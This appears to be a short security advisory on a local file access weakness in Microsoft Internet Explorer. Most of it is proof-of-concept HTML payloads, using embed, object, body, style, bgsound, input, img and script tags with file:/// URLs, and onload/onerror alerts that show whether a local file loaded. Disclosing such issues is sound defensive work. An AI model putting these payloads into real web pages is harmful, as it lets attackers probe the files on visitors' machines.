Microsoft Internet Explorer Local File Access Weakness

Microsoft Internet Explorer Local File Access Weakness

An attacker may exploit these issues by enticing victims into viewing malicious HTML content.

The following proof-of-concept HTML code is available:

- Embed Tag Local file Access:

<EMBED SRC="file:///C:/example.pdf" HEIGHT=600 WIDTH=1440></EMBED>

- Object & Param Tag Local File Access:

<object type="audio/x-mid" data="file:///C:/example.mid" width="200"
height="20">
<param name="src" value="file:///C:/example.mid">
<param name="autoStart" value="true">
<param name="autoStart" value="0">
</object>

- Body Tag Local File Access:

<body background="file:///C:/example.gif" onload="alert('loading body
bgrd success')" onerror="alert('loading body bgrd error')">

- Style Tag Local File Access:

<STYLE type="text/css">BODY{background:url("file:///C:/example.gif")}
</STYLE>

- Bgsound Tag Local File Access:

<bgsound src="file:///C:/example.mid" id="soundeffect" loop=1 autostart=
"true"/>

- Input Tag Local File Access:

<form>
<input type="image" src="file:///C:/example.gif" onload="alert('loading
input success')" onerror="alert('loading input error')">
</form>

- Image Tag Local File Access:

<img src="file:///C:/example.jpg" onload="alert('loading image success')"
onerror="alert('loading image error')">

- Script Tag Local File Access:

<script src="file:///C:/example.js"></script>